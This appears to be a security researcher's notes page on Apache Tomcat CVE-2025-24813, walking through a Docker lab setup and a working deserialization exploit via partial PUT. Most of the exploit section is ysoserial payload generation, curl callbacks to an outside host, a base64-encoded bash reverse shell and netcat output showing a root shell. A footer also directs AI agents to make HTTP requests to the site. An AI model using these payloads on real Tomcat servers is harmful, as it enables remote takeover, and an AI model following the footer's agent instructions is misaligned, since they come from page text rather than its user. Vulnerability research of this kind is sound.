# Tomcat - CVE-2025-24813

CVE-2025-24813 is a potential <mark style="color:red;">RCE</mark> and/or information disclosure and/or information corruption with partial PUT.

An attacker could achieve remote code execution if all the following conditions are true -

* Writes enabled for the default servlet (disabled by default)
* Support for partial PUT (enabled by default)
* Application was using Tomcat's file based session persistence with the default storage location
* Application included a library that may be leveraged in a deserialization attack

The vulnerability affects both Windows and Linux based installation running any of the below Apache Tomcat versions:

* 9.0.0.M1 <= Apache Tomcat <= 9.0.98
* 10.1.0-M1 <= Apache Tomcat <= 10.1.34
* 11.0.0-M1 <= Apache Tomcat <= 11.0.2

First available poc was published by [iSee857](https://github.com/iSee857/CVE-2025-24813-PoC/tree/main) targeting a Windows installation, below is the Linux equivalent.&#x20;

## Setup test environment

To setup a test docker container we need to tweak the [Dockerfile](/notes/development/docker/tomcat.md) a little to include `common-collections-x.x.x.jar`, as well as the non-default configuration in `web.xml` and `context.xml`.&#x20;

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;!-- web.xml (enable write for default servlet) -->
</strong><strong>&#x3C;init-param>
</strong>    &#x3C;param-name>readonly&#x3C;/param-name>
    &#x3C;param-value>false&#x3C;/param-value>
&#x3C;/init-param>

&#x3C;!-- context.xml (file based session persistance with default storage location) -->
&#x3C;Manager className="org.apache.catalina.session.PersistentManager">
    &#x3C;Store className="org.apache.catalina.session.FileStore"/>
&#x3C;/Manager>
</code></pre>

I decided to go with Tomcat version 11.0.1 in my test environment.&#x20;

```docker
# Dockerfile
# Stage 1: Build stage to copy web apps and make modifications
FROM tomcat:11.0.1 as build

# Copy the necessary configuration files
COPY ./web.xml /usr/local/tomcat/conf/web.xml
COPY ./context.xml /usr/local/tomcat/conf/context.xml
COPY ./commons-collections-3.2.1.jar /usr/local/tomcat/lib/

# Copy web applications (ROOT and manager) from the `webapps.dist` folder inside the container
RUN mkdir -p /usr/local/tomcat/webapps/ROOT && \
    cp -r /usr/local/tomcat/webapps.dist/ROOT/* /usr/local/tomcat/webapps/ROOT && \
    cp -r /usr/local/tomcat/webapps.dist/manager /usr/local/tomcat/webapps/manager && \
    sed -i 's/allow="[^"]*"/allow=".*"/' /usr/local/tomcat/webapps/manager/META-INF/context.xml && \
    sed -i '/<\/tomcat-users>/d' /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <role rolename="manager-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <role rolename="admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <user username="admin" password="admin" roles="manager-gui,admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '</tomcat-users>' >> /usr/local/tomcat/conf/tomcat-users.xml

# Stage 2: Final image to run Tomcat
FROM tomcat:11.0.1

# Copy from the build stage
COPY --from=build /usr/local/tomcat/webapps /usr/local/tomcat/webapps
COPY --from=build /usr/local/tomcat/conf /usr/local/tomcat/conf
COPY --from=build /usr/local/tomcat/lib /usr/local/tomcat/lib

# Expose the necessary port
EXPOSE 8080

# Start Tomcat in the foreground
CMD ["catalina.sh", "run"]
```

```bash
$ docker build -t tomcat1101 .
$ docker run -d -p 8888:8080 --name tomcat1101 tomcat1101
```

## Verify vulnerability

### Step 1: Uploading a Malicious Serialized Session

Create some random serialized data and upload it with `PUT /anything/session`. The payload is not important at this stage, we just want to verify that the target respond with HTTP 409.&#x20;

```bash
kpen :: ~/tools » java -jar ysoserial-all.jar CommonsCollections7 whoami | base64 -w0
rO0ABXNyABNqYXZhLnV0a...
```

<figure><img src="/files/NqkBkxtvPVe1jyOrqf0Q" alt=""><figcaption></figcaption></figure>

If we login to the docker container we can see that the new serialized session is created in the directory `/usr/local/tomcat/work/Cataline/localhost/ROOT`.

<figure><img src="/files/0QDhue3djyT0163lsHaS" alt=""><figcaption></figcaption></figure>

### Step 2: Triggering Execution via Session Cookie

Once the session file is uploaded, the attacker triggers deserialization by sending a simple GET request with the JSESSIONID pointing to the malicious session.

<figure><img src="/files/aoqo6hzHH7B2uVPGpktI" alt=""><figcaption></figcaption></figure>

Tomcat, seeing this session ID, retrieves the stored file, deserializes it, and executes the embedded Java code, granting full remote access to the attacker.&#x20;

I've noticed during my testing that using CommonCollections6 (cc6) will result in a HTTP 500 response, while cc7 get HTTP 200 response. Both are valid and the payload is triggered as seen below, but I guess cc7 has the edge in terms of stealth.

```bash
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'curl http://172.17.0.1:4444/cc6' | base64 -w0 > cc6.ser
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections7 'curl http://172.17.0.1:4444/cc7' | base64 -w0 > cc7.ser

kpen :: ~/tomcat » python3 exp.py url.txt cc6.ser
kpen :: ~/tomcat » python3 exp.py url.txt cc7.ser

kpen :: ~/tomcat » python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
172.17.0.2 - - [19/Mar/2025 13:10:04] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:04] "GET /cc6 HTTP/1.1" 404 -
172.17.0.2 - - [19/Mar/2025 13:10:19] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:19] "GET /cc7 HTTP/1.1" 404 -
```

***

## POC || GTFO

```bash
## build payload
kpen :: ~/tomcat » echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64   
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 -w0 > payload.ser

## run exploit
kpen :: ~/tomcat » python3 exp.py

## capture revshell
kpen :: ~/tomcat » nc -lvnp 4444                                                   
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59082
root@1ad748140a56:/usr/local/tomcat# id && hostname
uid=0(root) gid=0(root) groups=0(root)
1ad748140a56
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2025-24813.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
